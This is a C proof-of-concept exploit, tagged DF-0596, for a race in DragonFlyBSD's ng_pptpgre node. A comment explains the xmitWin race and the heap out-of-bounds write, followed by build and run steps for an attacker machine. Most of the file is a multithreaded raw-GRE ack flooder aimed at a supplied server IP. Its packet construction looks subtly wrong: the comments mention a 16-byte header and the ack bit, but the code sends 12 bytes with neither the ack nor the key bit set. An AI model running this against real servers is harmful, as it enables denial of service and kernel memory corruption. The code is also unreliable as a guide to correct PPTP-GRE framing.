DF-0596 / race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-0596 PoC sketch: SMP race on ng_pptpgre xmitWin -> timeSent[] OOB write. * * The ng_pptpgre node has no per-node serialization. ng_send_data dispatches * rcvdata inline on the caller's CPU, so two GRE ack packets arriving on * different CPUs execute ng_pptpgre_recv concurrently. The xmitWin * read-check-increment at ng_pptpgre.c:672-676 is a TOCTOU; two concurrent * ack handlers can both see xmitWin==15, both pass the <16 check, both * increment -> xmitWin==17. Subsequent xmit then permits timeSent index 16 * (one past the end of pptptime_t timeSent[16]) -> 8-byte heap overflow * into recvSeq/xmitSeq. * * Topology (DragonFlyBSD target): * ng_socket, ng_ksocket, ng_pptpgre, ng_iface loaded * PPTP concentrator configured via mpd or custom netgraph script * >= 2 vCPUs, xmitWin grown to PPTP_XMIT_WIN-1=15 (~15 ack round-trips) * * Build (on Linux attacker): * cc -O2 -lpthread -o race race.c * Run: * ./race <server_wan_ip> <cid> <ack_value> * ack_value should be >= the current winAck threshold (i.e. reflect * an ack the server will accept for window growth). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> static volatile int stop = 0; static struct in_addr server_ip; static uint16_t cid; static uint32_t ack_val; /* Build a PPTP-GRE header per RFC 2637 §3.2.6: * flags(1)=0, ver(1)=1, protocol=RCP_ENCAPSULATED=0x880B, * length(2)=0 (ack only, no payload), callID(2), ack(4). * Total GRE header = 16 bytes for an ack-only packet (no seq). */ static void build_pptp_ack(uint8_t *buf, size_t *len, uint32_t ack) { /* GRE flags + version: C/R|K|S|s|Recur|A|Flags|Ver = 0x00 0x01. * PPTP GRE uses the A bit (ack present). */ buf[0] = 0x00; /* flags */ buf[1] = 0x01; /* version = 1 (PPTP) */ buf[2] = 0x88; buf[3] = 0x0b; /* protocol = 0x880B (Enhanced GRE / PPTP) */ /* length: 0 for ack-only (no data payload) */ buf[4] = 0; buf[5] = 0; /* call ID (network byte order) */ buf[6] = (cid >> 8) & 0xff; buf[7] = cid & 0xff; /* ack number (network byte order) */ buf[8] = (ack >> 24) & 0xff; buf[9] = (ack >> 16) & 0xff; buf[10] = (ack >> 8) & 0xff; buf[11] = ack & 0xff; *len = 12; } static void * racer(void *arg) { int s; struct sockaddr_in dst; uint8_t buf[16]; size_t len; long n = (long)arg; s = socket(AF_INET, SOCK_RAW, IPPROTO_GRE); if (s < 0) { perror("socket GRE"); return NULL; } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_addr = server_ip; /* Each thread hammers the same ack value in a tight loop to maximize * the chance two threads are in the :672-676 window at once. */ while (!stop) { build_pptp_ack(buf, &len, ack_val); sendto(s, buf, len, 0, (struct sockaddr *)&dst, sizeof(dst)); } close(s); (void)n; return NULL; } int main(int argc, char **argv) { pthread_t t[4]; int i; if (argc != 4) { fprintf(stderr, "usage: %s <server_wan_ip> <cid> <ack_value>\n", argv[0]); return 2; } inet_aton(argv[1], &server_ip); cid = (uint16_t)strtoul(argv[2], NULL, 0); ack_val = (uint32_t)strtoul(argv[3], NULL, 0); fprintf(stderr, "DF-0596 race: bursting PPTP-GRE acks (cid=%u ack=%u) to %s " "from 4 threads for 60s...\n", cid, ack_val, argv[1]); for (i = 0; i < 4; i++) pthread_create(&t[i], NULL, racer, (void *)(long)i); for (i = 0; i < 60; i++) sleep(1); stop = 1; __sync_synchronize(); for (i = 0; i < 4; i++) pthread_join(t[i], NULL); fprintf(stderr, "DF-0596 race finished. Check target dmesg for KASSERT (DEBUG) or " "session DoS / corrupted sequence numbers.\n"); return 0; } |